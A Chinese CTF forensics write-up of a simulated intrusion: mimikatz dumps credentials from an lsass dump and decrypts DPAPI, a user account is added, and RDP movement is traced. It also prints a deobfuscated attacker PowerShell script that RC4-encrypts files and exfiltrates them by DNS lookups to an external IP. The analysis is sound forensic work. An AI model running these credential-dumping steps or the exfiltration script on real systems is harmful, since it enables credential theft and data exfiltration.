idek 2022* Forensics Writeup by r3kapig

由于描述中提到了本题目有两部分flag,根据思路我们要获取第一部分的flag

第一部分flag2:

首先先把C:WindowsSystem32error.dmp提取出来

idek 2022* Forensics Writeup by r3kapig

下载个mimikatz https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220919/mimikatz_trunk.7z

管理员运行cmd 然后将其运行mimikatz

ps:为了方便我将error.dmp重命名为lsass.dmp然后放在与mimikatz的同目录下

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::minidump lsass.dmp
Switch to MINIDUMP : 'lsass.dmp'

mimikatz # sekurlsa::logonPasswords full
Opening : 'lsass.dmp' file for minidump...

Authentication Id : 0 ; 284687 (00000000:0004580f)
Session           : Interactive from 1
User Name         : IEUser
Domain            : IEWIN7
Logon Server      : IEWIN7
Logon Time        : 2023/1/8 2:47:38
SID               : S-1-5-21-1610009768-122519599-941061767-1000
        msv :
         [00010000] CredentialKeys
         * NTLM     : 022156166aa2ab0ce4de16a45098d745
         * SHA1     : ece4d499be6e18ebf42225da680e702abf639db3
         [00000003] Primary
         * Username : IEUser
         * Domain   : IEWIN7
         * NTLM     : 022156166aa2ab0ce4de16a45098d745
         * SHA1     : ece4d499be6e18ebf42225da680e702abf639db3
        tspkg :
        wdigest :
         * Username : IEUser
         * Domain   : IEWIN7
         * Password : idek{crEDentia
        kerberos :
         * Username : IEUser
         * Domain   : IEWIN7
         * Password : (null)
        ssp :
        credman :

Authentication Id : 0 ; 95278 (00000000:0001742e)
Session           : Service from 0
User Name         : sshd_server
Domain            : IEWIN7
Logon Server      : IEWIN7
Logon Time        : 2023/1/8 2:46:44
SID               : S-1-5-21-1610009768-122519599-941061767-1002
        msv :
         [00010000] CredentialKeys
         * NTLM     : 8d0a16cfc061c3359db455d00ec27035
         * SHA1     : 94bd2df8ae5cadbbb5757c3be01dd40c27f9362f
         [00000003] Primary
         * Username : sshd_server
         * Domain   : IEWIN7
         * NTLM     : 8d0a16cfc061c3359db455d00ec27035
         * SHA1     : 94bd2df8ae5cadbbb5757c3be01dd40c27f9362f
        tspkg :
        wdigest :
         * Username : sshd_server
         * Domain   : IEWIN7
         * Password : D@rj33l1ng
        kerberos :
         * Username : sshd_server
         * Domain   : IEWIN7
         * Password : (null)
        ssp :
        credman :

Authentication Id : 0 ; 997 (00000000:000003e5)
Session           : Service from 0
User Name         : LOCAL SERVICE
Domain            : NT AUTHORITY
Logon Server      : (null)
Logon Time        : 2023/1/8 2:46:43
SID               : S-1-5-19
        msv :
        tspkg :
        wdigest :
         * Username : (null)
         * Domain   : (null)
         * Password : (null)
        kerberos :
         * Username : (null)
         * Domain   : (null)
         * Password : (null)
        ssp :
        credman :

Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : IEWIN7$
Domain            : WORKGROUP
Logon Server      : (null)
Logon Time        : 2023/1/8 2:46:43
SID               : S-1-5-20
        msv :
        tspkg :
        wdigest :
         * Username : IEWIN7$
         * Domain   : WORKGROUP
         * Password : (null)
        kerberos :
         * Username : iewin7$
         * Domain   : WORKGROUP
         * Password : (null)
        ssp :
        credman :

Authentication Id : 0 ; 44073 (00000000:0000ac29)
Session           : UndefinedLogonType from 0
User Name         : (null)
Domain            : (null)
Logon Server      : (null)
Logon Time        : 2023/1/8 2:46:43
SID               :
        msv :
        tspkg :
        wdigest :
        kerberos :
        ssp :
        credman :

Authentication Id : 0 ; 999 (00000000:000003e7)
Session           : UndefinedLogonType from 0
User Name         : IEWIN7$
Domain            : WORKGROUP
Logon Server      : (null)
Logon Time        : 2023/1/8 2:46:43
SID               : S-1-5-18
        msv :
        tspkg :
        wdigest :
         * Username : IEWIN7$
         * Domain   : WORKGROUP
         * Password : (null)
        kerberos :
         * Username : iewin7$
         * Domain   : WORKGROUP
         * Password : (null)
        ssp :
        credman :

这样我们可以拿到第二个flag的第一部分idek{crEDentia

第二部分flag2:

tips:这部分我个人认为存在一定的误导性,我在ticket和admin交流的时候.admin的意思是放出的流量不是解决这个题目的必须条件(虽然Note.txt中也写了,但是我似乎忘记了),但是可以帮助理解.个人认为有一定的误导性。不过在我的思维定式里这部分给了password,那可能会用到所以我这部分卡了一部分时间毕竟我在想有没有可能是一些流量的认证,但是我发现并没有.之后我找到了这个文章关于credential凭证解密https://www.cnblogs.com/Thorndike/p/15325079.html,个人建议这里可以再优化一下以保证其可以自然 C:UsersIEUserAppDataLocalMicrosoftCredentials下找到

DB79FF0C49C20D542F3690C933AC3046提取出来

idek 2022* Forensics Writeup by r3kapig

获取Credentials的GUID

mimikatz # dpapi::cred /in:DB79FF0C49C20D542F3690C933AC3046
**BLOB**
  dwVersion          : 00000001 - 1
  guidProvider       : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
  dwMasterKeyVersion : 00000001 - 1
  guidMasterKey      : {9fd81d55-a794-4a77-9fdc-38eff814d2be}
  dwFlags            : 20000000 - 536870912 (system ; )
  dwDescriptionLen   : 00000030 - 48
  szDescription      : Local Credential Data

guidMasterKey --> {9fd81d55-a794-4a77-9fdc-38eff814d2be}

导入dmp:

mimikatz # sekurlsa::minidump lsass.dmp
Switch to MINIDUMP : 'lsass.dmp'

获取masterkey:

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::dpapi

Authentication Id : 0 ; 284687 (00000000:0004580f)
Session           : Interactive from 1
User Name         : IEUser
Domain            : IEWIN7
Logon Server      : IEWIN7
Logon Time        : 2023/1/8 2:47:38
SID               : S-1-5-21-1610009768-122519599-941061767-1000
         [00000000]
         * GUID      :  {9fd81d55-a794-4a77-9fdc-38eff814d2be}
         * Time      :  2023/1/8 2:47:40
         * MasterKey :  e7b41c6fc2aa1edc0dc74dee160f024ff4fa026c307794c4f7739771ff60975fc7c311ab3d5346e998d61c1906a8a7b59c7c21d16910e23f4afa3959982ccccb
         * sha1(key) :  de78dc1fb05d27eddaa81f4c2143d43a9a316f1e


Authentication Id : 0 ; 95278 (00000000:0001742e)
Session           : Service from 0
User Name         : sshd_server
Domain            : IEWIN7
Logon Server      : IEWIN7
Logon Time        : 2023/1/8 2:46:44
SID               : S-1-5-21-1610009768-122519599-941061767-1002


Authentication Id : 0 ; 997 (00000000:000003e5)
Session           : Service from 0
User Name         : LOCAL SERVICE
Domain            : NT AUTHORITY
Logon Server      : (null)
Logon Time        : 2023/1/8 2:46:43
SID               : S-1-5-19


Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : IEWIN7$
Domain            : WORKGROUP
Logon Server      : (null)
Logon Time        : 2023/1/8 2:46:43
SID               : S-1-5-20


Authentication Id : 0 ; 44073 (00000000:0000ac29)
Session           : UndefinedLogonType from 0
User Name         : (null)
Domain            : (null)
Logon Server      : (null)
Logon Time        : 2023/1/8 2:46:43
SID               :


Authentication Id : 0 ; 999 (00000000:000003e7)
Session           : UndefinedLogonType from 0
User Name         : IEWIN7$
Domain            : WORKGROUP
Logon Server      : (null)
Logon Time        : 2023/1/8 2:46:43
SID               : S-1-5-18
         [00000000]
         * GUID      :  {79cd7db5-e519-453b-9dc9-ad52372a33d1}
         * Time      :  2023/1/8 2:46:56
         * MasterKey :  50f4acc588c6f7aab0902c5e638c46b3671b150abf8d55e5a5ae47c50062607e3ec383b1973bae8d9d53815e59bfe012c594a232f2788562e461c9620ae74c31
         * sha1(key) :  913dba47ec0e0122494b963271da1c8a5757ef6c
         [00000001]
         * GUID      :  {f22e410f-f947-4e08-8f2a-8f65df603f8d}
         * Time      :  2023/1/8 2:46:43
         * MasterKey :  19c05880b67d50f8231cd8009836e3cdc55610e4877f8b976abd5ca15600d0e759934324c6204b56f02527039e7fc52a1dfb5296d3381aaa7c3eb610dffa32fa
         * sha1(key) :  b859b2b52e7e49cf5c70069745c88853c4b23487

MasterKey --> e7b41c6fc2aa1edc0dc74dee160f024ff4fa026c307794c4f7739771ff60975fc7c311ab3d5346e998d61c1906a8a7b59c7c21d16910e23f4afa3959982ccccb

解密

mimikatz # dpapi::cred /in:DB79FF0C49C20D542F3690C933AC3046 /masterkey:e7b41c6fc2aa1edc0dc74dee160f024ff4fa026c307794c4f7739771ff60975fc7c311ab3d5346e998d61c1906a8a7b59c7c21d16910e23f4afa3959982ccccb
**BLOB**
  dwVersion          : 00000001 - 1
  guidProvider       : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
  dwMasterKeyVersion : 00000001 - 1
  guidMasterKey      : {9fd81d55-a794-4a77-9fdc-38eff814d2be}
  dwFlags            : 20000000 - 536870912 (system ; )
  dwDescriptionLen   : 00000030 - 48
  szDescription      : Local Credential Data

  algCrypt           : 00006610 - 26128 (CALG_AES_256)
  dwAlgCryptLen      : 00000100 - 256
  dwSaltLen          : 00000020 - 32
  pbSalt             : d1ae596e635002339b7dcce09f5ff6acc53b7bc9395d162ea93c328f98c31f53
  dwHmacKeyLen       : 00000000 - 0
  pbHmackKey         :
  algHash            : 0000800e - 32782 (CALG_SHA_512)
  dwAlgHashLen       : 00000200 - 512
  dwHmac2KeyLen      : 00000020 - 32
  pbHmack2Key        : 92e17a569f3c13606b0893c758fb9e81c1a06d2015dcebcf15107900a963ad0e
  dwDataLen          : 000000f0 - 240
  pbData             : 1413918e9f648cfb258ed6bd270360ab66d1d5e9c16580866a899184a71feb58219ade909f09184d6796ef0bd91e5091be80e76f48aa4cf7f29bfda7bb63d74e62698283cf2b6faf8ad44ddc296341acd8e61fe8cd12f2e33e8ae6bd20b328772b0816b881f21f877d8a1506fcbb06ce2b85688244b05911e97fa3f9068af0d17de3f6813cc937be00830986e93e2a467de46f11260746fe42ea38f6a20d79f1696de59efe69ead3bcb97a7ce85d45a6c78ec77bfe42b1a891175a519d37286ab3cf8a58955fdc5561f7543e6754953cce0576f58819433a47c930a31c9ad4dccf7376b1be3b00b7111ba649876b20d1
  dwSignLen          : 00000040 - 64
  pbSign             : 7f41a9469ad24a5e572c48ab6f0f1919f0a53e52963ad88676fb730aa9d6ba7e4045e5b3e45c9a33b56ca720c82d202cabd8085cabc5f3834e537ff79a987f22

Decrypting Credential:
 * volatile cache: GUID:{9fd81d55-a794-4a77-9fdc-38eff814d2be};KeyHash:de78dc1fb05d27eddaa81f4c2143d43a9a316f1e;Key:available
 * masterkey     : e7b41c6fc2aa1edc0dc74dee160f024ff4fa026c307794c4f7739771ff60975fc7c311ab3d5346e998d61c1906a8a7b59c7c21d16910e23f4afa3959982ccccb
**CREDENTIAL**
  credFlags      : 00000030 - 48
  credSize       : 000000ea - 234
  credUnk0       : 00000000 - 0

  Type           : 00000002 - 2 - domain_password
  Flags          : 00000000 - 0
  LastWritten    : 2023/1/6 15:55:10
  unkFlagsOrSize : 00000040 - 64
  Persist        : 00000002 - 2 - local_machine
  AttributeCount : 00000000 - 0
  unk0           : 00000000 - 0
  unk1           : 00000000 - 0
  TargetName     : Domain:target=TERMSRV/192.168.209.134
  UnkData        : (null)
  Comment        : (null)
  TargetAlias    : (null)
  UserName       : administrator
  CredentialBlob : l_4C3S5_f0R_1@73rAl_mOv3M3n7}
  Attributes     : 0

拿到第二个flag的第二部分 --> l_4C3S5_f0R_1@73rAl_mOv3M3n7}

将二者拼接一下拿到flag2 --> idek{crEDential_4C3S5_f0R_1@73rAl_mOv3M3n7}

HiddenGem Mixtape 3: The Ultimate Goal

添加用户:

运行net user netadmin S3cr3tpa5sw0rD /add

idek 2022* Forensics Writeup by r3kapig

不过后面似乎没有用到这个作为相关的操作,不过这个部分更像是一种RDP的提示.当然你也可以通过流量部分找到RDP

RDP:

在流量包中,我们可以得知当攻击者通过mimikatz窃取相关的凭证后,其通过rdp登录到192.168.209.147然后再从192.168.209.147再登录到192.168.209.134,相关流量如下:

idek 2022* Forensics Writeup by r3kapig

idek 2022* Forensics Writeup by r3kapig

Security.evtx日志中也有部分的相关信息

idek 2022* Forensics Writeup by r3kapig

idek 2022* Forensics Writeup by r3kapig

BMC:

由于已知存在RDP,同时便可以联想到RDP缓存位图,提取这些文件后C:UsersIEUserAppDataLocalMicrosoftTerminal Server ClientCache使用bmc-tools即可拿到相关的数据https://github.com/ANSSI-FR/bmc-tools

idek 2022* Forensics Writeup by r3kapig

python3 bmc-tools.py -Cache0000.bin -./00/
python3 bmc-tools.py -Cache0001.bin -./01/
python3 bmc-tools.py -Cache0002.bin -./02/

然后进行拼图 可以得到

idek 2022* Forensics Writeup by r3kapig


idek 2022* Forensics Writeup by r3kapig


不难推测出其使用BitsTranser模块下载dns窃密的文件并且将其加载

https://learn.microsoft.com/en-us/powershell/module/bitstransfer/start-bitstransfer?view=windowsserver2022-ps

下一步分析混淆的powershell脚本

Powershell 2nd:

https://gist.github.com/bquanman/cb6a4b2420d9f3d2f27287dcb46661d6

解密一次后得到

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 +  ${)}${~}${@[}  +  ${)}${~=}${~=}${;+}+${)}${~=}${~=}${$] }  +  ${)}${~=}${;+}${'$[}  +  ${)}${~=}${~=}${~=}+${)}${~=}${~=}${~=}+${)}${~=}${;+}${](}  +  ${)}${~=}${~=}${](}+  ${)}${~=}${~=}${@[}  +${)}${~}${@[}+  ${)}${![/}${$] }+${)}${~=}${~=}${]}  +  ${)}${~=}${@[}${~=}+  ${)}${~=}${~=}${@[}+  ${)}${~=}${;+}${~=}  +  ${)}${]}${~=}+  ${)}${]}${$] }+${)}${~}${@[}+  ${)}${~}${]}  +  ${)}${~=}${~=}${![/}+  ${)}${~}${]}  +${)}${@$/}${](}  +${)}${![/}${]}  +  ${)}${~}${@[}  +  ${)}${~}${]}  +${)}${~=}${;+}${;+}  +${)}${~}${@[}+  ${)}${~=}${@[}${$] }  |  ${;@!}  "  |&  ${;@!}    

再解密可以得到:

[CHar]36+[CHar]100+[CHar]61  +[CHar]34  +[CHar]49  +[CHar]55+  [CHar]50  +[CHar]46+[CHar]50+  [CHar]49  +[CHar]46+[CHar]50  +  [CHar]48+[CHar]46+[CHar]57+[CHar]54  +[CHar]34  +[CHar]59  +[CHar]32+  [CHar]36+[CHar]115  +  [CHar]61+  [CHar]52  +  [CHar]59+  [CHar]32  +  [CHar]36+[CHar]98  +[CHar]61+  [CHar]53  +  [CHar]55  +  [CHar]59  +[CHar]32  +[CHar]71+  [CHar]101+  [CHar]116  +[CHar]45  +[CHar]67+  [CHar]104+[CHar]105+  [CHar]108  +[CHar]100  +[CHar]73  +  [CHar]116+[CHar]101+[CHar]109+  [CHar]32  +  [CHar]34  +[CHar]46  +[CHar]34+  [CHar]32+  [CHar]124+  [CHar]32  +[CHar]70+  [CHar]111+[CHar]114+[CHar]101  +[CHar]97+[CHar]99+[CHar]104+[CHar]45+  [CHar]79+[CHar]98  +[CHar]106+  [CHar]101  +[CHar]99  +  [CHar]116+  [CHar]32  +[CHar]123  +  [CHar]36  +  [CHar]97+[CHar]61+  [CHar]91  +  [CHar]83  +  [CHar]121+[CHar]115  +  [CHar]116+[CHar]101+  [CHar]109  +  [CHar]46+[CHar]67+  [CHar]111+  [CHar]110+  [CHar]118+  [CHar]101+  [CHar]114+[CHar]116  +[CHar]93  +[CHar]58+  [CHar]58+  [CHar]84+[CHar]111+  [CHar]66+[CHar]97  +[CHar]115+  [CHar]101+[CHar]54  +  [CHar]52+[CHar]83  +[CHar]116  +  [CHar]114+  [CHar]105+[CHar]110+  [CHar]103+  [CHar]40+  [CHar]36+[CHar]69  +[CHar]110+  [CHar]99  +  [CHar]46+[CHar]71  +[CHar]101  +  [CHar]116  +  [CHar]66+  [CHar]121+[CHar]116+[CHar]101  +[CHar]115+[CHar]40  +[CHar]36  +  [CHar]95  +  [CHar]46+  [CHar]78+  [CHar]97  +[CHar]109  +[CHar]101+[CHar]41+  [CHar]41  +[CHar]59+  [CHar]32  +[CHar]36+[CHar]82+[CHar]61  +  [CHar]123+[CHar]36  +[CHar]68  +  [CHar]44  +[CHar]36  +  [CHar]75  +[CHar]61  +[CHar]36+[CHar]65+[CHar]114  +  [CHar]103  +[CHar]115+[CHar]59  +[CHar]36+  [CHar]83+[CHar]61+  [CHar]48+[CHar]46+  [CHar]46  +  [CHar]50  +  [CHar]53  +[CHar]53  +[CHar]59  +  [CHar]48  +[CHar]46+[CHar]46  +  [CHar]50+  [CHar]53+  [CHar]53  +[CHar]124  +[CHar]37+[CHar]123  +[CHar]36  +  [CHar]74  +[CHar]61  +[CHar]40+[CHar]36+[CHar]74+[CHar]43  +  [CHar]36  +  [CHar]83+  [CHar]91+  [CHar]36+[CHar]95+[CHar]93+  [CHar]43  +  [CHar]36  +  [CHar]75  +[CHar]91  +[CHar]36  +[CHar]95+  [CHar]37  +[CHar]36  +  [CHar]75  +  [CHar]46+[CHar]76  +[CHar]101+[CHar]110  +  [CHar]103+  [CHar]116  +[CHar]104  +[CHar]93+[CHar]41+  [CHar]37+[CHar]50+[CHar]53+[CHar]54  +  [CHar]59  +  [CHar]36+[CHar]83+  [CHar]91+  [CHar]36  +  [CHar]95  +[CHar]93  +  [CHar]44  +  [CHar]36  +[CHar]83+[CHar]91  +[CHar]36+  [CHar]74+  [CHar]93  +[CHar]61+[CHar]36+  [CHar]83+[CHar]91+[CHar]36  +  [CHar]74  +[CHar]93+  [CHar]44  +  [CHar]36  +  [CHar]83  +[CHar]91  +[CHar]36  +[CHar]95  +  [CHar]93  +[CHar]125+[CHar]59  +  [CHar]36+  [CHar]68+  [CHar]124+[CHar]37  +  [CHar]123  +[CHar]36  +[CHar]73+[CHar]61  +[CHar]40+  [CHar]36+  [CHar]73  +  [CHar]43+  [CHar]49+  [CHar]41  +  [CHar]37  +[CHar]50  +[CHar]53+[CHar]54+  [CHar]59+  [CHar]36+  [CHar]72  +[CHar]61+[CHar]40+  [CHar]36  +[CHar]72+  [CHar]43  +[CHar]36+[CHar]83+  [CHar]91  +  [CHar]36+[CHar]73+[CHar]93+[CHar]41  +  [CHar]37  +[CHar]50+  [CHar]53  +  [CHar]54  +[CHar]59+[CHar]36  +[CHar]83+[CHar]91+  [CHar]36  +[CHar]73+[CHar]93+[CHar]44+  [CHar]36+  [CHar]83+  [CHar]91+  [CHar]36+  [CHar]72  +[CHar]93  +  [CHar]61  +[CHar]36+[CHar]83+  [CHar]91  +  [CHar]36+[CHar]72+[CHar]93+  [CHar]44  +  [CHar]36+  [CHar]83  +[CHar]91+  [CHar]36  +  [CHar]73+[CHar]93  +  [CHar]59  +  [CHar]36  +  [CHar]95  +[CHar]45+  [CHar]98+[CHar]120+  [CHar]111  +  [CHar]114+  [CHar]36+  [CHar]83+[CHar]91+  [CHar]40+  [CHar]36+[CHar]83+[CHar]91+  [CHar]36+  [CHar]73  +[CHar]93  +[CHar]43  +  [CHar]36+  [CHar]83  +[CHar]91+[CHar]36  +[CHar]72+[CHar]93  +  [CHar]41+  [CHar]37  +  [CHar]50+  [CHar]53  +  [CHar]54  +[CHar]93+  [CHar]125+  [CHar]125+  [CHar]59+  [CHar]32  +[CHar]36  +  [CHar]69  +[CHar]110  +  [CHar]99+  [CHar]32  +  [CHar]61  +[CHar]32  +  [CHar]91+[CHar]83  +[CHar]121  +  [CHar]115+  [CHar]116  +  [CHar]101  +[CHar]109+  [CHar]46+[CHar]84+[CHar]101+[CHar]120  +  [CHar]116  +[CHar]46  +  [CHar]69  +  [CHar]110  +  [CHar]99+[CHar]111  +[CHar]100  +  [CHar]105+  [CHar]110  +[CHar]103+  [CHar]93+[CHar]58+[CHar]58+  [CHar]65  +  [CHar]83+  [CHar]67+[CHar]73+  [CHar]73  +  [CHar]59  +[CHar]32+[CHar]36  +[CHar]112+[CHar]32+  [CHar]61  +[CHar]32+  [CHar]36+  [CHar]69+  [CHar]110+  [CHar]99+  [CHar]46  +[CHar]71  +[CHar]101  +[CHar]116  +[CHar]66+  [CHar]121+[CHar]116+[CHar]101  +  [CHar]115+[CHar]40  +[CHar]39+[CHar]91+  [CHar]83  +  [CHar]121  +[CHar]115  +  [CHar]116  +  [CHar]101  +[CHar]109+  [CHar]46  +  [CHar]73+[CHar]79+  [CHar]46+  [CHar]70+[CHar]105+  [CHar]108+  [CHar]101  +[CHar]93  +  [CHar]58+  [CHar]58+  [CHar]82+  [CHar]101  +  [CHar]97  +[CHar]100+  [CHar]65+  [CHar]108  +  [CHar]108+[CHar]66  +[CHar]121+[CHar]116  +  [CHar]101  +  [CHar]115  +  [CHar]40  +  [CHar]36  +[CHar]95+[CHar]46  +[CHar]70+[CHar]117+[CHar]108+[CHar]108+[CHar]78  +  [CHar]97  +  [CHar]109  +  [CHar]101+  [CHar]41  +[CHar]39  +  [CHar]41  +  [CHar]59+[CHar]32  +  [CHar]36  +[CHar]122  +[CHar]32+  [CHar]61  +[CHar]32  +  [CHar]36+  [CHar]69+  [CHar]110+  [CHar]99  +[CHar]46  +[CHar]71  +[CHar]101  +  [CHar]116  +[CHar]66  +  [CHar]121  +[CHar]116+  [CHar]101  +[CHar]115  +[CHar]40+[CHar]91+  [CHar]83  +  [CHar]121+  [CHar]115+  [CHar]116  +[CHar]101+[CHar]109+  [CHar]46  +  [CHar]73+[CHar]79+  [CHar]46  +[CHar]70  +[CHar]105  +  [CHar]108+[CHar]101  +  [CHar]93+  [CHar]58+[CHar]58  +[CHar]82  +  [CHar]101  +[CHar]97+  [CHar]100  +[CHar]65  +[CHar]108  +  [CHar]108  +[CHar]66+[CHar]121+  [CHar]116  +[CHar]101  +[CHar]115+  [CHar]40+[CHar]36  +  [CHar]95  +  [CHar]46  +  [CHar]70  +[CHar]117  +[CHar]108+  [CHar]108  +  [CHar]78+[CHar]97+[CHar]109  +  [CHar]101  +[CHar]41+[CHar]41  +  [CHar]59  +[CHar]32  +[CHar]36  +[CHar]117  +[CHar]32+[CHar]61  +[CHar]32  +  [CHar]40+  [CHar]38  +  [CHar]32+[CHar]36+[CHar]82+[CHar]32  +[CHar]36  +[CHar]122  +[CHar]32+  [CHar]36+[CHar]112  +  [CHar]41+  [CHar]59+[CHar]32+  [CHar]36+[CHar]101  +  [CHar]32  +[CHar]61+[CHar]32+[CHar]91+  [CHar]83  +[CHar]121  +  [CHar]115+[CHar]116+  [CHar]101+[CHar]109  +[CHar]46  +[CHar]67  +[CHar]111  +[CHar]110+[CHar]118  +  [CHar]101+[CHar]114  +  [CHar]116  +  [CHar]93+[CHar]58  +[CHar]58+  [CHar]84  +  [CHar]111+  [CHar]66+[CHar]97  +  [CHar]115  +[CHar]101  +[CHar]54+[CHar]52  +[CHar]83+  [CHar]116  +[CHar]114  +[CHar]105  +[CHar]110  +  [CHar]103+  [CHar]40  +  [CHar]36+[CHar]117  +  [CHar]41  +[CHar]59  +  [CHar]32  +  [CHar]36+  [CHar]108  +  [CHar]61+  [CHar]36+  [CHar]101+  [CHar]46+  [CHar]76  +[CHar]101+[CHar]110+[CHar]103+  [CHar]116+[CHar]104  +  [CHar]59  +  [CHar]32+[CHar]36+  [CHar]114  +[CHar]61+  [CHar]34  +[CHar]34  +[CHar]59  +  [CHar]32  +[CHar]36+  [CHar]110+[CHar]61+  [CHar]48  +  [CHar]59  +  [CHar]32  +  [CHar]119+[CHar]104+[CHar]105+  [CHar]108  +  [CHar]101+[CHar]32  +[CHar]40  +  [CHar]36+[CHar]110+  [CHar]32  +  [CHar]45+[CHar]108  +[CHar]101  +  [CHar]32+[CHar]40+  [CHar]36  +  [CHar]108+[CHar]47  +[CHar]36  +  [CHar]98+[CHar]41  +  [CHar]41  +[CHar]32+[CHar]123  +[CHar]32  +[CHar]36  +  [CHar]99  +  [CHar]61  +  [CHar]36  +[CHar]98  +  [CHar]59+[CHar]32  +[CHar]105  +  [CHar]102  +[CHar]32+[CHar]40  +[CHar]40  +  [CHar]36+  [CHar]110+  [CHar]42  +  [CHar]36  +[CHar]98+[CHar]41  +[CHar]43+[CHar]36  +  [CHar]99  +[CHar]32  +[CHar]45  +[CHar]103+[CHar]116  +  [CHar]32+  [CHar]36+[CHar]108  +[CHar]41+[CHar]32  +  [CHar]123+[CHar]32+  [CHar]36  +  [CHar]99+[CHar]61  +  [CHar]36  +  [CHar]108  +[CHar]45  +[CHar]40+  [CHar]36+  [CHar]110+  [CHar]42+[CHar]36  +  [CHar]98  +  [CHar]41+[CHar]32+[CHar]125  +  [CHar]59  +[CHar]32  +[CHar]36+  [CHar]114  +[CHar]43+[CHar]61+  [CHar]36+  [CHar]101  +  [CHar]46  +[CHar]83+[CHar]117  +  [CHar]98  +  [CHar]115+[CHar]116  +  [CHar]114  +[CHar]105+[CHar]110+  [CHar]103  +[CHar]40+[CHar]36  +[CHar]110+[CHar]42+  [CHar]36  +[CHar]98  +  [CHar]44+  [CHar]32+  [CHar]36+  [CHar]99  +[CHar]41  +[CHar]32+[CHar]43+[CHar]32  +  [CHar]34+  [CHar]46  +  [CHar]34+[CHar]59+  [CHar]32+[CHar]105+[CHar]102  +[CHar]32+[CHar]40+  [CHar]40  +  [CHar]36+  [CHar]110  +  [CHar]37+  [CHar]36  +  [CHar]115  +  [CHar]41  +  [CHar]32+  [CHar]45  +  [CHar]101  +  [CHar]113  +[CHar]32+[CHar]40+[CHar]36+  [CHar]115+[CHar]45  +[CHar]49+  [CHar]41  +  [CHar]41+[CHar]32  +  [CHar]123+  [CHar]32+[CHar]110+[CHar]115+  [CHar]108  +  [CHar]111  +[CHar]111+[CHar]107+[CHar]117  +[CHar]112+[CHar]32  +[CHar]45+  [CHar]116+  [CHar]121+  [CHar]112  +  [CHar]101+  [CHar]61+[CHar]65  +  [CHar]32  +  [CHar]36+[CHar]114  +[CHar]36  +[CHar]97  +  [CHar]46+  [CHar]32  +  [CHar]36+[CHar]100  +  [CHar]59  +[CHar]32+  [CHar]36  +[CHar]114+  [CHar]61+[CHar]34  +[CHar]34  +[CHar]32+  [CHar]125+[CHar]32  +[CHar]36  +[CHar]110  +[CHar]61+  [CHar]36+[CHar]110  +[CHar]43  +  [CHar]49+[CHar]32+[CHar]125  +  [CHar]32  +  [CHar]110+[CHar]115  +  [CHar]108  +  [CHar]111+[CHar]111+[CHar]107  +  [CHar]117+  [CHar]112  +[CHar]32+  [CHar]45+[CHar]116  +  [CHar]121+  [CHar]112+  [CHar]101  +  [CHar]61+  [CHar]65+[CHar]32+  [CHar]36  +  [CHar]114+  [CHar]36  +[CHar]97  +[CHar]46  +  [CHar]32  +  [CHar]36  +[CHar]100  +[CHar]32+  [CHar]125  |  iex  

最后解密格式化的时候可以得到

$d="172.21.20.96"; 
$s=4; 
$b=57; 
Get-ChildItem "." | Foreach-Object {
    $a=[System.Convert]::ToBase64String($Enc.GetBytes($_.Name)); 
    $R={
        $D,$K=$Args;
        $S=0..255;0..255|%{
            $J=($J+$S[$_]+$K[$_%$K.Length])%256;
            $S[$_],$S[$J]=$S[$J],$S[$_]
        };
        $D|%{
            $I=($I+1)%256;
            $H=($H+$S[$I])%256;
            $S[$I],$S[$H]=$S[$H],$S[$I];
            $_-bxor$S[($S[$I]+$S[$H])%256]
        }
    }; 
    $Enc = [System.Text.Encoding]::ASCII; 
    $p = $Enc.GetBytes('[System.IO.File]::ReadAllBytes($_.FullName)'); 
    $z = $Enc.GetBytes([System.IO.File]::ReadAllBytes($_.FullName)); 
    $u = (& $R $z $p); 
    $e = [System.Convert]::ToBase64String($u); 
    $l=$e.Length; 
    $r=""; 
    $n=0; 
    while ($n -le ($l/$b)) { 
        $c=$b; 
        if (($n*$b)+$c -gt $l) { 
            $c=$l-($n*$b) 
        }; 
        $r+=$e.Substring($n*$b, $c) + "."; 
        if (($n%$s) -eq ($s-1)) { 
            nslookup -type=A $r$a. $d; $r="" 
        } 
        $n=$n+1 
    } 
    nslookup -type=A $r$a. $d 
}

可以观察到他其实本质是base64+rc4+拆分 搞了个cyberchef解密:https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)RC4(%7B'option':'UTF8','string':'%5BSystem.IO.File%5D::ReadAllBytes($_.FullName)'%7D,'Latin1','Latin1')From_Decimal('Space',false)

解密DNS报文:

idek 2022* Forensics Writeup by r3kapig

tshark -HiddenGem.pcapng -T fields -e dns.resp.name | sed '/^s*$/d' > 1.txt

先全部提取进1.txt中,可以看出,dns流量的形式是将数据进行上面的加密后再每57个字符以"."来间隔开,每行三段并在最后添加文件名的base64编码,所以通过简单的提取,便可以知道所有的文件名

des.txt
KCSC.jpg
SecretPlan.pdf
update.ps1
zoneblue.jpg

而其中最可疑的就是SecretPlan.pdf,于是可以是手动将其提取并去除文件数据以外的数据,然后在上面的cyberchef链接里解密即可

idek 2022* Forensics Writeup by r3kapig

可以发现出现了我们想要的PDF文件

idek 2022* Forensics Writeup by r3kapig

从而得到url https://pastebin.com/xCmXLGUq,访问即可拿到flag --> idek{RDP_Cache_1s_g0OD_bu7_1_h4t3_t4K1n9_t3x7_fr0M_Im4g3s}

结语:

希望大家喜欢以及有所收获,另外如果有错误欢迎指出私信以及邮箱都可,十分感谢!


原文始发于微信公众号(r3kapig):idek 2022* Forensics Writeup by r3kapig

版权声明:admin 发表于 2023年1月17日 上午12:20。
转载请注明:idek 2022* Forensics Writeup by r3kapig | CTF导航

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